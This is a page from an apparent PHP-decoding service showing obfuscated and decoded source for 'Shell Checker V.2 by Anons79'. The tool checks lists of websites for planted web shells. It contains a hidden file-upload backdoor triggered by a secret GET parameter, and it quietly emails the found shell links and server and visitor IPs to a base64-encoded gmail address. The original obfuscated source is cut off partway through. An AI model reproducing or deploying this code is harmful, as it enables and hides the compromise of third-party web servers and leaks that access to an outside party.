Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
${"G\x4c\x4f\x42\x41L\x53"}["\x73\x68\x79q\x76x\x78\x6f"]="\x68e\x61d\x65r";${"\x47L\x4f\x..
Decoded Output download
<? ${"GLOBALS"}["shyqvxxo"]="header";${"GLOBALS"}["xgnkvoq"]="to_email";${"GLOBALS"}["twmdfsf"]="get_shell";${"GLOBALS"}["lhysinvewy"]="server_mail";${"GLOBALS"}["mcikwm"]="ip_remote";${"GLOBALS"}["zvwcdytgmtog"]="time_shell";${"GLOBALS"}["lksbkiz"]="all_site";${"GLOBALS"}["ftdtpxzuomi"]="link_shell";${"GLOBALS"}["vgmfexbpzj"]="get";${"GLOBALS"}["jgyolxqx"]="httpCode";${"GLOBALS"}["durktbzzfoh"]="handle";${"GLOBALS"}["hfyqmhfgkrb"]="site";${"GLOBALS"}["nobuagw"]="url";${"GLOBALS"}["yjxnvzc"]="die_shell";${"GLOBALS"}["qflouv"]="live_shell";${"GLOBALS"}["ufbgebx"]="shell_file";${"GLOBALS"}["lytsxxfzysu"]="list";${"GLOBALS"}["wslczsjxxbd"]="files";${"GLOBALS"}["nsjtwiteudn"]="fullpath";echo "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns=\"http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type\" content="text/html; charset=utf-8" />
<title>Shell Checker by Anons79</title>
<style type=\"text/css">
body{
background: #222222;
margin: 0;
padding: 0;
padding-top: 100px;
color: #FFF;
font-family: Calibri;
font-size: 13px;
}
a{
color: #FFF;
text-decoration: none;
font-weight: bold;
}
.wrapper{
width: 1000px;
margin: 0 auto;
}
.tube{
padding: 10px;
}
.red{
width: 998px;
border: 1px solid #007700;
background: #222222;
color: #009900;
box-shadow: 0px 0px 4px #007700;
}
.red input{
background: #000;
border: 1px solid #007700;
color: #FFF;
}
.blue{
float: left;
width: 1000px;
border: 1px solid #007700;
background: #222222;
color: #00bb00;
box-shadow: 0px 0px 4px #007700;
}
.green{
width: 1000px;
border: 1px solid #007700;
background: #222222;
color: #009900;
box-shadow: 0px 0px 4px #007700;
}
textarea {
color: #009900;
background-color: #222222;
width: 500px;
height: 200px;
}
input[type=submit]{ padding: 3px; margin: 5px; color: #222222; text-shadow:#000 0px 0px 4px; font-weight: bold; border: 1px solid #007700; background: #ababab; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px; -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;}
input[type=text]{ padding: 3px; width: 200px; ; margin: 5px; color: #009900; text-shadow: #007700 0px 2px 7px; border: 1px solid #007700; background: transparent; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px;
-moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px; -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;}
input[type=submit]:hover, input[type=text]:hover{ color: #e4e4e4; text-shadow: #00bb00 0px 0px 4px; box-shadow: 0px 0px 4px #00bb00; border: 1px solid #00bb00; padding: 3px; -webkit-border-radius: 4px;
-moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgba(0,221,0) 0px 0px 4px; -moz-box-shadow: rgba(0,221,0) 0px 0px 4px;}
</style>
</head>
<body>
<center>
<div class=\"green">
<h1>Shell Checker V.2</h1>
<form method=\"post">
Shell file: <input type=\"text" name="shell" placeholder=\"anons79.php\" required><br>
List sites: <input type=\"text\" name=\"list" placeholder="site.txt\" required><br>
<input type=\"submit" name="check\" value="Check shell\"></input>
</form>
";if($_GET["anons"]=="79"){$btejxeovw="files";$iqfdaywr="files";${$iqfdaywr}=@$_FILES["files"];if(${$btejxeovw}["name"]!=""){${"GLOBALS"}["ddogtyzb"]="fullpath";${${"GLOBALS"}["nsjtwiteudn"]}=$_REQUEST["path"].${${"GLOBALS"}["wslczsjxxbd"]}["name"];if(move_uploaded_file(${${"GLOBALS"}["wslczsjxxbd"]}["tmp_name"],${${"GLOBALS"}["ddogtyzb"]})){echo"<h1><a href='$fullpath'>OK-Click here!</a></h1>";}}echo"<html><head><title>Upload files...</title></head><body><form method=POST enctype=\"multipart/form-data\" action="\"><input type=text name=path><input type=\"file" name=\"files\"><input type=submit value="Up\"></form></body></html>";}if(isset($_POST["check"])){${${"GLOBALS"}["lytsxxfzysu"]}=$_POST["list"];${"GLOBALS"}["efndaapx"]="from_shellcode";$uvdnzgxgu="all_site";${${"GLOBALS"}["ufbgebx"]}=$_POST["shell"];$host=@file(${${"GLOBALS"}["lytsxxfzysu"]});${${"GLOBALS"}["qflouv"]}=${${"GLOBALS"}["yjxnvzc"]}=${$uvdnzgxgu}=0;$wyohnrxqfd="linkcr";foreach($host as${${"GLOBALS"}["nobuagw"]}){$khtcwrb="url";$kkrewul="response";$mgxkga="all_site";$vymacct="site";${"GLOBALS"}["lrxvwxcqs"]="shell_file";$bkvnfevh="site";$ylpdoiq="handle";${$mgxkga}+=1;$ilkoqgi="handle";$ceteicfpclzo="link_shell";${$vymacct}=trim(${$khtcwrb});${${"GLOBALS"}["hfyqmhfgkrb"]}=str_replace("http://","",${$bkvnfevh});$idauaugcu="link_shell";${$ceteicfpclzo}="http://".${${"GLOBALS"}["hfyqmhfgkrb"]}."/".${${"GLOBALS"}["lrxvwxcqs"]};$hgzmien="httpCode";${$ylpdoiq}=curl_init(${$idauaugcu});${"GLOBALS"}["lwwikea"]="handle";curl_setopt(${${"GLOBALS"}["durktbzzfoh"]},CURLOPT_RETURNTRANSFER,TRUE);${$kkrewul}=curl_exec(${$ilkoqgi});$qsvvjcviws="handle";${$hgzmien}=curl_getinfo(${${"GLOBALS"}["lwwikea"]},CURLINFO_HTTP_CODE);if(${${"GLOBALS"}["jgyolxqx"]}==404){${${"GLOBALS"}["yjxnvzc"]}+=1;echo${${"GLOBALS"}["hfyqmhfgkrb"]}." <font color=red>shell not found !</font><br>";}else{${"GLOBALS"}["nizrlqrccuqj"]="live_shell";$rztimg="get2";$wrpcagstzxm="get_shell";${${"GLOBALS"}["nizrlqrccuqj"]}+=1;$hdoxucinina="site";${${"GLOBALS"}["vgmfexbpzj"]}.=${$hdoxucinina}." ";${$rztimg}.=${${"GLOBALS"}["ftdtpxzuomi"]}." ";${$wrpcagstzxm}.=${${"GLOBALS"}["ftdtpxzuomi"]}." - ";echo"<a href="".${${"GLOBALS"}["ftdtpxzuomi"]}."">".${${"GLOBALS"}["hfyqmhfgkrb"]}."</a><font color=green> shell uploaded !</font><br>";}curl_close(${$qsvvjcviws});}${"GLOBALS"}["maongishhmw"]="get2";echo"<font color=lime>".${${"GLOBALS"}["qflouv"]}."</font> shell live !<br>";${"GLOBALS"}["hwtdqjluwqm"]="die_shell";echo"<font color=red>".${${"GLOBALS"}["hwtdqjluwqm"]}."</font> shell die !<br>";${"GLOBALS"}["jtjdtgp"]="linkcr";echo"Total: ".${${"GLOBALS"}["lksbkiz"]}."<br>";echo"<br>Site List<br><textarea onclick=\"this.select()\" width="200px\">".${${"GLOBALS"}["vgmfexbpzj"]}."</textarea><br><br>";echo"Shell List<br><textarea onclick="this.select()" width="200px">".${${"GLOBALS"}["maongishhmw"]}."</textarea><br>";$eeisend="to_email";${${"GLOBALS"}["zvwcdytgmtog"]}="".date("d/m/Y - H:i:s")."";${${"GLOBALS"}["mcikwm"]}=$_SERVER["REMOTE_ADDR"];${${"GLOBALS"}["efndaapx"]}="shell@".gethostbyname($_SERVER["SERVER_NAME"])."";${$eeisend}=base64_decode("YW5vbnM3OS5vZmZpY2lhbEBnbWFpbC5jb20=");$moprqvzivri="header";$kkgstyh="server_mail";${${"GLOBALS"}["lhysinvewy"]}="".gethostbyname($_SERVER["SERVER_NAME"])." - ".$_SERVER["HTTP_HOST"]."";${$wyohnrxqfd}="Link Shell: ".$_SERVER["SERVER_NAME"]."".$_SERVER["REQUEST_URI"]." - IP Excuting: $ip_remote - Time: $time_shell
".${${"GLOBALS"}["twmdfsf"]};${$moprqvzivri}="From: $from_shellcode
Reply-to: $from_shellcode";@mail(${${"GLOBALS"}["xgnkvoq"]},${$kkgstyh},${${"GLOBALS"}["jtjdtgp"]},${${"GLOBALS"}["shyqvxxo"]});}echo " <h2>Developed by Anons79</h2>
</div>
</center>
</body>
</html>
"; ?>Did this file decode correctly?
Original Code
${"G\x4c\x4f\x42\x41L\x53"}["\x73\x68\x79q\x76x\x78\x6f"]="\x68e\x61d\x65r";${"\x47L\x4f\x42\x41\x4c\x53"}["\x78\x67\x6e\x6bvoq"]="to_\x65m\x61\x69l";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x77\x6d\x64f\x73\x66"]="\x67e\x74\x5f\x73\x68e\x6cl";${"G\x4c\x4f\x42A\x4c\x53"}["\x6c\x68\x79\x73\x69n\x76e\x77y"]="s\x65\x72\x76e\x72\x5f\x6d\x61\x69\x6c";${"GL\x4f\x42\x41\x4c\x53"}["\x6dcikw\x6d"]="\x69\x70\x5f\x72\x65\x6d\x6f\x74\x65";${"\x47LOB\x41\x4c\x53"}["zv\x77c\x64\x79\x74\x67\x6d\x74\x6f\x67"]="\x74\x69m\x65\x5f\x73h\x65\x6c\x6c";${"\x47\x4cO\x42AL\x53"}["\x6cks\x62k\x69\x7a"]="\x61l\x6c\x5f\x73\x69\x74\x65";${"\x47L\x4f\x42AL\x53"}["f\x74\x64\x74\x70xz\x75\x6f\x6d\x69"]="\x6ci\x6ek_\x73h\x65\x6cl";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x67\x6d\x66ex\x62\x70\x7a\x6a"]="\x67et";${"\x47\x4c\x4fB\x41\x4cS"}["j\x67y\x6f\x6c\x78\x71x"]="\x68ttpC\x6fd\x65";${"\x47\x4cO\x42A\x4c\x53"}["\x64urk\x74b\x7azfo\x68"]="\x68\x61\x6edl\x65";${"\x47\x4cOB\x41\x4c\x53"}["\x68\x66\x79\x71\x6dh\x66g\x6b\x72\x62"]="\x73\x69te";${"\x47L\x4fBA\x4c\x53"}["no\x62\x75\x61\x67w"]="\x75\x72\x6c";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79\x6ax\x6e\x76z\x63"]="d\x69\x65\x5f\x73h\x65\x6cl";${"G\x4c\x4fB\x41L\x53"}["\x71\x66\x6c\x6f\x75\x76"]="\x6c\x69v\x65_\x73h\x65\x6c\x6c";${"GL\x4f\x42A\x4cS"}["\x75fb\x67e\x62x"]="s\x68\x65\x6c\x6c\x5f\x66\x69\x6c\x65";${"\x47L\x4f\x42A\x4cS"}["l\x79\x74sxxfzy\x73u"]="li\x73\x74";${"\x47L\x4fB\x41\x4c\x53"}["\x77\x73\x6c\x63z\x73\x6a\x78xb\x64"]="\x66\x69l\x65\x73";${"\x47L\x4f\x42\x41\x4c\x53"}["\x6e\x73\x6a\x74wi\x74e\x75\x64n"]="f\x75\x6c\x6cpath";echo "<\x21\x44OCTYPE\x20\x68\x74\x6dl\x20P\x55BL\x49C\x20\x22-//W3C//D\x54\x44 XHTM\x4c\x201\x2e\x30\x20\x54\x72a\x6es\x69t\x69on\x61\x6c//\x45\x4e\"\x20\"h\x74\x74\x70://w\x77w.w\x33\x2e\x6f\x72g/TR/\x78\x68\x74\x6d\x6c1/\x44T\x44/\x78\x68\x74m\x6c\x31-\x74\x72an\x73it\x69\x6fna\x6c\x2edt\x64\x22>\n<htm\x6c \x78\x6dlns=\"\x68\x74t\x70://w\x77\x77\x2e\x773\x2eorg/19\x39\x39/x\x68\x74ml\x22\x3e\n\t\x3ch\x65ad\x3e\n\t\t\x3c\x6deta\x20\x68t\x74\x70-\x65quiv\x3d\x22\x43on\x74en\x74-\x54yp\x65\"\x20c\x6f\x6ete\x6e\x74=\x22te\x78t/ht\x6d\x6c; \x63\x68\x61r\x73\x65\x74\x3dutf-8\x22 /\x3e\n\t\t<t\x69tle\x3e\x53hel\x6c\x20C\x68\x65\x63\x6b\x65\x72 \x62y\x20\x41\x6eons\x379</ti\x74le\x3e\n\t\t<\x73\x74\x79le\x20ty\x70e=\"\x74e\x78t/c\x73\x73\x22>\n\t\t\tbo\x64y{\n\t\t\t\x62\x61c\x6b\x67\x72o\x75n\x64:\x20\x2322\x32\x3222\x3b\n\t\t\t\x6da\x72\x67\x69n: \x30;\n\t\t\t\x70a\x64\x64i\x6eg: 0\x3b\n\t\t\tp\x61\x64din\x67-t\x6f\x70: 10\x30px;\n\t\t\tcol\x6fr:\x20\x23\x46\x46\x46;\n\t\t\tfon\x74-fam\x69l\x79: Cal\x69\x62r\x69;\n\t\t\tfo\x6et-\x73\x69ze:\x20\x313\x70\x78\x3b\n\t\t\t}\n\t\t\ta{\n\t\t\t\x63ol\x6fr: #F\x46\x46\x3b\n\t\t\tte\x78\x74-\x64ecora\x74i\x6fn: no\x6e\x65\x3b\n\t\t\t\x66\x6f\x6et-\x77e\x69g\x68\x74:\x20\x62old;\n\t\t\t}\n\t\t\t.wrapper{\n\t\t\tw\x69dth: 1\x30\x300\x70\x78;\n\t\t\t\x6da\x72g\x69n:\x20\x30 au\x74o\x3b\n\t\t\t}\n\t\t\t\x2et\x75\x62\x65{\n\t\t\tp\x61d\x64\x69\x6e\x67:\x20\x31\x30p\x78\x3b\n\t\t\t}\n\t\t\t.r\x65\x64{\n\t\t\t\x77id\x74\x68: 9\x39\x38\x70\x78;\n\t\t\tb\x6f\x72d\x65\x72: 1px\x20so\x6cid\x20\x23\x300\x37\x37\x30\x30;\n\t\t\tb\x61\x63\x6b\x67r\x6f\x75nd: #\x3222\x322\x32;\n\t\t\t\x63o\x6c\x6f\x72: #0\x309\x390\x30;\n\t\t\tbox-\x73\x68\x61d\x6fw:\x20\x30p\x78 0p\x78\x20\x34\x70x #0\x30\x3770\x30;\n\t\t\t}\n\t\t\t\x2e\x72\x65d\x20in\x70ut{\n\t\t\t\x62a\x63\x6b\x67\x72\x6fund: #\x30\x30\x30\x3b\n\t\t\t\x62\x6fr\x64\x65\x72: 1p\x78\x20s\x6f\x6cid \x230077\x300;\n\t\t\tco\x6c\x6f\x72:\x20#FFF;\n\t\t\t}\n\t\t\t.bl\x75\x65{\n\t\t\t\x66l\x6f\x61t: l\x65\x66t\x3b\n\t\t\t\x77i\x64t\x68:\x201\x30\x300px;\n\t\t\tb\x6frd\x65\x72:\x20\x31p\x78\x20\x73\x6f\x6cid\x20\x230077\x30\x30\x3b\n\t\t\t\x62\x61\x63k\x67\x72\x6f\x75\x6e\x64:\x20#22\x322\x32\x32\x3b\n\t\t\tcol\x6fr: #00\x62b\x300;\n\t\t\t\x62o\x78-s\x68\x61\x64\x6fw:\x200px \x30\x70x\x204\x70\x78 \x230077\x300\x3b\n\t\t\t}\n\t\t\t.g\x72\x65en{\n\t\t\tw\x69d\x74\x68:\x2010\x30\x30\x70x;\n\t\t\tb\x6fr\x64\x65\x72:\x20\x31\x70\x78 s\x6fl\x69d\x20#007\x370\x30\x3b\n\t\t\t\x62ac\x6b\x67r\x6f\x75nd:\x20#\x3222\x32\x32\x32\x3b\n\t\t\tc\x6fl\x6f\x72: \x23\x30\x309\x39\x30\x30;\n\t\t\tb\x6f\x78-s\x68ad\x6f\x77:\x200\x70x\x200p\x78 \x34px\x20\x23\x300770\x30\x3b\n\t\t\t}\n\t\t\t\x74\x65x\x74\x61\x72\x65a\x20{\n\t\t\t\tc\x6f\x6cor:\x20\x23\x30\x30\x39\x39\x300\x3b\n\t\t\t\tba\x63k\x67\x72ou\x6ed-c\x6f\x6cor: #\x322\x32222;\n\t\t\t\tw\x69d\x74\x68:\x20\x350\x30p\x78\x3b\n\t\t\t\th\x65igh\x74: 2\x30\x30p\x78\x3b\n\t\t\t}\n\t\t\tinput[t\x79\x70\x65\x3dsu\x62m\x69t]{\x20\x70ad\x64in\x67:\x20\x33px\x3b\x20\x6d\x61r\x67in: 5\x70\x78\x3b\x20\x63olor: \x23\x322\x32\x32\x32\x32\x3b te\x78\x74-sh\x61\x64o\x77:\x23\x30\x300 \x30\x70\x78\x200p\x78\x20\x34\x70x\x3b \x66ont-w\x65igh\x74: b\x6fl\x64\x3b bo\x72d\x65r: \x31p\x78\x20s\x6f\x6c\x69d\x20\x23\x30\x30\x3770\x30;\x20bac\x6b\x67roun\x64:\x20#\x61b\x61bab\x3b box-\x73h\x61d\x6fw:\x200p\x78 \x30\x70\x78\x20\x34\x70\x78 \x23\x3007\x37\x300;\x20\x20\x20 \x70\x61\x64\x64\x69\x6e\x67:\x20\x33\x70\x78; -\x77\x65\x62k\x69\x74-b\x6f\x72\x64\x65r-\x72ad\x69u\x73: 4\x70\x78;\x20 -\x6d\x6f\x7a-bor\x64e\x72-\x72ad\x69u\x73: 4px\x3b\x20 \x62\x6f\x72der-\x72ad\x69\x75\x73:\x20\x34\x70\x78\x3b\x20 -\x77e\x62\x6b\x69\x74-b\x6fx-\x73ha\x64\x6fw:\x20r\x67b(\x30,1\x31\x39,\x30) 0p\x78 0\x70x\x20\x34p\x78\x3b \x20-\x6doz-b\x6fx-sha\x64o\x77:\x20\x72\x67\x62(0,1\x31\x39,\x30) 0\x70\x78\x200p\x78 4px;}\n\t\t\ti\x6e\x70ut[\x74yp\x65=\x74e\x78\x74]{ p\x61d\x64i\x6eg:\x20\x33\x70\x78;\x20\x77i\x64\x74h:\x20\x32\x300p\x78\x3b\x20\x3b m\x61rgi\x6e: \x35px;\x20col\x6fr: #\x30099\x300;\x20t\x65x\x74-s\x68a\x64ow:\x20\x23\x30\x30770\x30\x200\x70\x78 \x32\x70\x78 \x37p\x78\x3b \x62o\x72\x64e\x72: \x31\x70\x78 \x73\x6f\x6ci\x64 #007\x37\x30\x30; \x62ac\x6bgro\x75\x6e\x64:\x20\x74\x72\x61n\x73p\x61\x72e\x6e\x74\x3b\x20\x62o\x78-\x73\x68a\x64o\x77:\x200px 0\x70\x78 4p\x78 \x230\x30\x377\x30\x30;\x20 \x20\x20\x70\x61dd\x69ng: \x33px\x3b\x20\x20\x20-\x77e\x62ki\x74-\x62\x6frd\x65\x72-\x72\x61di\x75s:\x20\x34p\x78\x3b\n\t\t\t \x20-\x6doz-bor\x64er-ra\x64iu\x73: \x34p\x78\x3b \x62or\x64e\x72-ra\x64\x69us: 4\x70x;\x20\x20 -\x77eb\x6bi\x74-\x62ox-sha\x64ow: \x72\x67b(\x30,\x31\x31\x39,\x30) 0px\x20\x30\x70x\x20\x34p\x78\x3b \x20\x20-m\x6fz-\x62\x6fx-s\x68\x61d\x6fw: \x72gb(\x30,\x311\x39,\x30) 0p\x78\x20\x30\x70\x78 4p\x78;}\n\t\t\ti\x6e\x70ut[ty\x70\x65\x3ds\x75bmi\x74]:hov\x65r,\x20inpu\x74[\x74\x79pe\x3d\x74\x65xt]:h\x6f\x76\x65\x72{\x20c\x6flo\x72:\x20\x23\x65\x34\x65\x34\x654\x3b\x20\x74ext-s\x68\x61dow: #\x300\x62\x62\x30\x30 0\x70x \x30\x70\x78 \x34\x70x\x3b b\x6fx-\x73\x68\x61\x64ow: \x30\x70x\x200\x70\x78\x20\x34px\x20#0\x30\x62\x62\x30\x30;\x20\x62\x6frd\x65\x72:\x201px\x20solid \x2300\x62\x620\x30;\x20 p\x61d\x64ing: \x33\x70\x78\x3b\x20\x20\x20-\x77ebk\x69t-b\x6fr\x64\x65r-r\x61dius:\x20\x34\x70\x78;\n\t\t\t \x20 -mo\x7a-borde\x72-\x72ad\x69\x75\x73: \x34px\x3b\x20\x20\x20\x62or\x64er-ra\x64\x69u\x73: 4p\x78\x3b\x20\x20\x20-we\x62\x6b\x69\x74-b\x6fx-\x73h\x61do\x77:\x20rgba(\x30,\x32\x32\x31,\x30) 0px\x20\x30\x70\x78\x20\x34\x70x;\x20 \x20-m\x6fz-b\x6f\x78-\x73h\x61\x64\x6fw:\x20rgba(0,22\x31,0) \x30\x70\x78 0p\x78 4p\x78;}\n\t\t</st\x79\x6c\x65\x3e\n\t</h\x65\x61\x64>\n\t\x3cbod\x79>\n\t\t<ce\x6e\x74er\x3e\n\t\t<div\x20cl\x61s\x73\x3d\"gr\x65en\x22>\n\t\t\t\x3ch1>\x53\x68el\x6c\x20\x43hecker \x56\x2e\x32\x3c/\x68\x31\x3e\n\t\t\t\x3c\x66\x6fr\x6d \x6d\x65th\x6fd\x3d\"\x70o\x73\x74\x22>\n\t\t\t\tShel\x6c\x20f\x69\x6ce:\x20\x3c\x69\x6e\x70\x75t \x74y\x70e=\"\x74ex\x74\x22 n\x61m\x65\x3d\x22\x73\x68\x65\x6cl\x22 \x70\x6c\x61\x63\x65ho\x6c\x64\x65\x72=\"\x61\x6eo\x6e\x73\x37\x39\x2eph\x70\"\x20r\x65\x71ui\x72\x65d>\x3c\x62\x72>\n\t\t\t\t\x4c\x69\x73t si\x74\x65\x73:\x20<i\x6epu\x74\x20\x74\x79pe\x3d\"te\x78\x74\"\x20na\x6de=\"\x6c\x69st\x22\x20\x70\x6ca\x63\x65ho\x6cd\x65r\x3d\x22si\x74\x65\x2et\x78t\"\x20re\x71\x75i\x72e\x64\x3e<b\x72>\n\t\t\t\t\x3ci\x6e\x70ut\x20typ\x65=\"\x73\x75\x62\x6d\x69\x74\x22 \x6e\x61m\x65=\x22\x63\x68e\x63\x6b\" \x76a\x6cue=\x22C\x68e\x63k\x20\x73h\x65\x6cl\"\x3e\x3c/i\x6e\x70u\x74>\n\t\t\t</f\x6fr\x6d\x3e\n\t\t\t";if($_GET["a\x6eo\x6e\x73"]=="\x379"){$btejxeovw="\x66\x69l\x65\x73";$iqfdaywr="fi\x6ces";${$iqfdaywr}=@$_FILES["\x66\x69les"];if(${$btejxeovw}["n\x61me"]!=""){${"\x47\x4c\x4f\x42A\x4cS"}["\x64\x64o\x67\x74\x79\x7a\x62"]="\x66\x75l\x6cp\x61\x74\x68";${${"G\x4c\x4f\x42\x41\x4cS"}["\x6es\x6a\x74w\x69\x74eu\x64n"]}=$_REQUEST["\x70\x61\x74h"].${${"\x47\x4cOB\x41L\x53"}["wslc\x7a\x73j\x78xb\x64"]}["\x6eam\x65"];if(move_uploaded_file(${${"GLO\x42\x41\x4cS"}["\x77sl\x63\x7asj\x78\x78\x62d"]}["\x74mp_\x6eam\x65"],${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64\x64o\x67\x74\x79\x7a\x62"]})){echo"\x3ch\x31><\x61 \x68re\x66='$fullpath'>O\x4b-Clic\x6b\x20h\x65\x72e!</\x61></h1\x3e";}}echo"\x3c\x68tm\x6c\x3e<hea\x64\x3e\x3ctitle\x3eU\x70\x6c\x6f\x61d fi\x6ces\x2e..</\x74it\x6c\x65\x3e</h\x65\x61\x64\x3e\x3cbo\x64y>\x3c\x66or\x6d \x6d\x65\x74ho\x64=POS\x54 \x65\x6e\x63t\x79p\x65\x3d\"mu\x6c\x74ip\x61\x72t/\x66o\x72m-d\x61t\x61\" \x61c\x74i\x6fn\x3d\x22\">\x3c\x69\x6e\x70\x75\x74\x20typ\x65\x3d\x74ext \x6e\x61m\x65=pat\x68><\x69n\x70\x75t t\x79\x70\x65\x3d\"\x66i\x6c\x65\x22\x20n\x61\x6d\x65=\"\x66i\x6c\x65s\">\x3c\x69npu\x74 t\x79pe=su\x62\x6d\x69\x74\x20va\x6c\x75e=\x22\x55\x70\"\x3e</\x66\x6f\x72m\x3e</\x62\x6f\x64y\x3e</ht\x6d\x6c>";}if(isset($_POST["check"])){${${"\x47L\x4fB\x41\x4c\x53"}["\x6c\x79\x74sx\x78f\x7a\x79\x73\x75"]}=$_POST["\x6c\x69\x73t"];${"GL\x4f\x42\x41L\x53"}["\x65\x66n\x64\x61\x61p\x78"]="fr\x6f\x6d_\x73\x68e\x6c\x6c\x63\x6fde";$uvdnzgxgu="a\x6c\x6c\x5fs\x69\x74\x65";${${"\x47\x4c\x4f\x42\x41L\x53"}["u\x66b\x67\x65\x62\x78"]}=$_POST["s\x68\x65\x6c\x6c"];$host=@file(${${"GLO\x42\x41\x4c\x53"}["\x6cy\x74\x73\x78\x78\x66z\x79\x73u"]});${${"GL\x4fB\x41\x4c\x53"}["q\x66l\x6f\x75\x76"]}=${${"\x47\x4cO\x42A\x4c\x53"}["\x79\x6a\x78n\x76z\x63"]}=${$uvdnzgxgu}=0;$wyohnrxqfd="\x6c\x69\x6e\x6bc\x72";foreach($host as${${"\x47\x4c\x4fB\x41LS"}["no\x62\x75\x61\x67\x77"]}){$khtcwrb="\x75rl";$kkrewul="\x72\x65s\x70\x6fn\x73\x65";$mgxkga="a\x6cl\x5fs\x69\x74\x65";$vymacct="\x73ite";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x72xvw\x78cqs"]="\x73h\x65\x6cl\x5f\x66i\x6c\x65";$bkvnfevh="\x73\x69te";$ylpdoiq="\x68\x61\x6e\x64\x6c\x65";${$mgxkga}+=1;$ilkoqgi="\x68a\x6ed\x6c\x65";$ceteicfpclzo="\x6c\x69nk_s\x68\x65l\x6c";${$vymacct}=trim(${$khtcwrb});${${"\x47\x4c\x4f\x42\x41\x4cS"}["hfy\x71\x6dh\x66g\x6br\x62"]}=str_replace("\x68t\x74\x70://","",${$bkvnfevh});$idauaugcu="\x6c\x69nk_\x73\x68e\x6c\x6c";${$ceteicfpclzo}="\x68\x74\x74\x70://".${${"G\x4cO\x42\x41L\x53"}["\x68\x66yq\x6d\x68\x66\x67krb"]}."/".${${"GL\x4f\x42\x41\x4c\x53"}["\x6c\x72xv\x77\x78\x63q\x73"]};$hgzmien="h\x74t\x70\x43\x6f\x64\x65";${$ylpdoiq}=curl_init(${$idauaugcu});${"GL\x4f\x42\x41L\x53"}["\x6c\x77\x77i\x6b\x65\x61"]="\x68\x61\x6e\x64le";curl_setopt(${${"\x47L\x4f\x42\x41\x4c\x53"}["du\x72\x6b\x74bz\x7a\x66o\x68"]},CURLOPT_RETURNTRANSFER,TRUE);${$kkrewul}=curl_exec(${$ilkoqgi});$qsvvjcviws="\x68\x61\x6edl\x65";${$hgzmien}=curl_getinfo(${${"G\x4cO\x42\x41LS"}["\x6c\x77\x77\x69\x6be\x61"]},CURLINFO_HTTP_CODE);if(${${"GL\x4fBA\x4cS"}["\x6ag\x79\x6fl\x78\x71\x78"]}==404){${${"GL\x4f\x42A\x4c\x53"}["y\x6a\x78n\x76\x7a\x63"]}+=1;echo${${"\x47\x4cO\x42A\x4c\x53"}["\x68\x66y\x71\x6d\x68\x66g\x6b\x72\x62"]}." \x3cfon\x74 c\x6flor\x3dre\x64\x3e\x73hel\x6c n\x6ft\x20f\x6f\x75\x6e\x64 !</f\x6fnt\x3e\x3cb\x72>";}else{${"\x47L\x4f\x42A\x4c\x53"}["\x6ei\x7a\x72\x6c\x71\x72\x63\x63u\x71\x6a"]="l\x69ve_\x73\x68\x65\x6c\x6c";$rztimg="\x67et\x32";$wrpcagstzxm="ge\x74\x5f\x73h\x65\x6c\x6c";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ei\x7a\x72\x6c\x71\x72\x63\x63u\x71\x6a"]}+=1;$hdoxucinina="\x73\x69\x74e";${${"\x47\x4cO\x42\x41L\x53"}["v\x67\x6d\x66ex\x62\x70zj"]}.=${$hdoxucinina}."\x26\x23\x313\x3b&#\x31\x30\x3b";${$rztimg}.=${${"\x47\x4cOBA\x4c\x53"}["\x66\x74dtp\x78\x7au\x6f\x6di"]}."&\x23\x313;&\x23\x31\x30;";${$wrpcagstzxm}.=${${"\x47\x4c\x4fB\x41\x4c\x53"}["f\x74\x64t\x70x\x7a\x75\x6fmi"]}." -\x20";echo"<\x61 \x68\x72\x65f=\x22".${${"G\x4c\x4f\x42A\x4c\x53"}["\x66\x74\x64\x74p\x78z\x75\x6fm\x69"]}."\x22>".${${"GL\x4f\x42\x41\x4c\x53"}["\x68\x66\x79q\x6dh\x66\x67\x6b\x72b"]}."\x3c/a\x3e<f\x6fn\x74 color=\x67\x72\x65\x65n\x3e \x73he\x6c\x6c\x20\x75\x70lo\x61\x64\x65d !\x3c/f\x6f\x6et\x3e<b\x72>";}curl_close(${$qsvvjcviws});}${"G\x4c\x4fB\x41\x4c\x53"}["\x6da\x6f\x6e\x67i\x73\x68\x68\x6d\x77"]="g\x65\x742";echo"\x3c\x66\x6fn\x74 c\x6flor=\x6c\x69\x6de>".${${"\x47\x4c\x4fB\x41L\x53"}["\x71f\x6co\x75\x76"]}."\x3c/\x66\x6f\x6et>\x20shel\x6c\x20liv\x65\x20!<\x62\x72\x3e";${"\x47\x4c\x4f\x42\x41L\x53"}["\x68\x77td\x71\x6a\x6c\x75\x77qm"]="\x64\x69\x65_sh\x65\x6c\x6c";echo"\x3c\x66on\x74 co\x6c\x6fr\x3d\x72\x65\x64>".${${"GL\x4f\x42\x41\x4c\x53"}["h\x77\x74\x64\x71j\x6cu\x77q\x6d"]}."\x3c/f\x6fnt> s\x68e\x6cl d\x69e \x21<\x62\x72>";${"\x47L\x4f\x42A\x4c\x53"}["\x6a\x74j\x64\x74\x67\x70"]="\x6c\x69\x6e\x6b\x63r";echo"T\x6fta\x6c: 